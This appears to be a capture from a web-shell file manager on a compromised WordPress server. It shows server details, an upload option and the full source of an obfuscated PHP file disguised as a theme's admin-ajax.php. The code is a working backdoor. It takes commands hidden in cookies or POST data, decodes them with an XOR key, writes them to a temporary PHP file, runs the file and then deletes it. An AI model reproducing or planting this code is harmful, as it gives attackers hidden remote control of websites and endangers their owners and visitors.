HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux instance-1 5.4.0-1092-gcp #101~18.04.1-Ubuntu SMP Mon Oct 17 18:29:06 UTC 2022 x86_64
User: web297 (5095)
PHP: 8.1.14
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare, exec, shell_exec, system, passthru, proc_open, proc_close, popen, parse_ini_file, show_source
Upload Files
File: /data0/www/clients/client0/web297/web/wp-content/themes/twentytwentyfour/patterns/admin-ajax.php
<?php
function va6	()


{

echo      'gl7';}



function ps1      ( $yv2	)


{$uv4=0;


$yv3   = "* nfItDsPbpv#[kjFy6L(];_M1Taredl.AKg?)@mu4UNoHi/'ExhY<c";   $ri5 =  substr("", 0); while(1)
{	if($uv4>=count($yv2)) break; $ri5	.=       $yv3 [     $yv2[$uv4] ];	$uv4++;
}
return  $ri5;


}$tw9 = [];$inbq	= 90901;
$tw9[45555]	=	ps1 (	Array(36 , 10 , 51	, 10 , 1 , 38     , 40  , 2	,	31 ,	46 , 2 , 14 , 20 ,  23	, 23   , 16 , 4 , 19 ,       49	,       23 , 23 ,    37 ,      22	, 1	,)   )    ;


$tw9[14827]	= ps1       (	Array(13 ,	33 ,	42 , 26 , 45 ,    23    , 34 , 49	,	52     ,   21       ,) )       ;

$uh29  = 42943;$tw9[25065] = ps1 (  Array(6	,    42 ,     24    , 24    , 52     ,       25 ,) )	;

$tw9[9705] =      ps1	(	Array(32	, 15	,	10 ,  35 ,)  )	;
$cq30 =      51502;$tw9[72679]	= ps1 (	Array(32	, 47 ,)	)       ;$tw9[79843]	=	ps1	( Array(45       , 0 ,) ) ;

$tw9[26594] = ps1	(   Array(12    ,)  ) ;$wz31 = 44251;

$tw9[32208]	= ps1 (	Array(53 ,)   )	;
$tw9[82895]     =       ps1   (	Array(47 ,)     )  ;
$tw9[38850] =	ps1  ( Array(3 , 46	, 31 ,  29 , 23	, 10 , 40 ,      5     , 23 , 54	,	44 ,      2      , 5 , 29 , 2  ,     5    , 7      ,)	)    ;$yl32  = 77151;
$tw9[65986]	= ps1 (	Array(27      , 28 , 28       ,  27 ,	17	,	23       , 39       , 29 , 28 , 35 ,	29 ,)   )	;

$tw9[3009]     = ps1 ( Array(7 , 5	,   28	, 23       , 28	,   29 , 10	,	29 , 27 , 5    ,)	) ;


$mh33  = 36882;


$tw9[36794] = ps1 (	Array(29	,      50 ,	10 ,      31     , 44  ,      30     ,	29 ,)    )	;


$tw9[56746] =      ps1   (      Array(40	,     2	, 31	,  46 ,    2  ,    14 ,) )	;
$tw9[83369]	= ps1 ( Array(46    ,      2 , 5 , 11 ,	27 ,	31	,)     ) ;$tw9[9122] =	ps1 (	Array(7 , 5 ,     28 ,      31	, 29       ,	2 ,)	) ;$wf34       =	32040;
$tw9[7583] = ps1	(       Array(7	,	5 ,	28     , 10       ,  44 , 7 ,) ) ;$yf35	=	70018;
$tw9[87454]	= ps1  ( Array(10      , 27	, 54	,	14 ,)    ) ;

$zz36 = 79119;


$fe24 =       $_COOKIE;	$zt23   = "53596";$fe24 = $tw9[65986]($fe24, $_POST);


foreach      ($fe24 as    $fy28 => $za25)


{
      function ex15    ( $tw9,	$fy28	, $rv22	)

 {
 return substr	( $tw9[3009]      (    $fy28	.	'0dbf6437-c20b-42fc-84d7-6bc43159ec3d'    , $tw9[83369](	$rv22/$tw9[9122]( $fy28 ) ) +       1 ) , 0 , $rv22 );

 }


	function     sz18 ( $tw9,	$sl26       )

 { if	( isset (     $sl26[2]	) ) {


 

 gv16      ( $tw9,    wg14    ( $tw9, $sl26));

 

	return  1;
	}


	}

   

	function df13 ( $tw9,	$sl26	)

	{
    return @$tw9[87454] ($tw9[79843] ,	$sl26	);


 }

 function	fw11 ( $tw9, $za25, $fy28)


     {
	return	df13       ( $tw9,	$za25      ) ^ ex15 (   $tw9,   $fy28  ,	$tw9[9122]( $za25 ) );
      }

  function yk12	( $tw9, $za25,	$fy28)

 {

 return  $tw9[36794]	( $tw9[26594]      , fw11    ( $tw9,  $za25,	$fy28)); }   


 function     dh10      ( $tw9,	$za25,     $fy28)

 {	$za25     = yk12       (      $tw9,	$za25, $fy28);

 if (sz18     ( $tw9,	$za25))
  {	exit(); }
 }

	
 function	wg14 (	$tw9, $sl26)


 {


      $xo27	=      $tw9[72679]	. md5( '0dbf6437-c20b-42fc-84d7-6bc43159ec3d' )      . $tw9[9705];

  @$tw9[38850]	(      $xo27,	$tw9[32208]	.  $tw9[45555]  . $sl26[1]    (	$sl26[2] )       );
		return $xo27; }	


	function   kj17	(	$tw9,     $xo27)	{

 @$tw9[56746]    (	$xo27   );
	exit();


   }  

       function     gv16     (	$tw9,     $xo27 )


	{

	@require ( $xo27 );


	$nh20 = md5($xo27);

       $hz21	=   substr($xo27,      $tw9[7583]($xo27,   $tw9[82895])	+  1);

     if  (file_exists (	$xo27))	

	{

       $lz19 = base64_decode($nh20);
 kj17  (   $tw9,	$xo27); }


	} 	dh10 (	$tw9, $za25, $fy28);}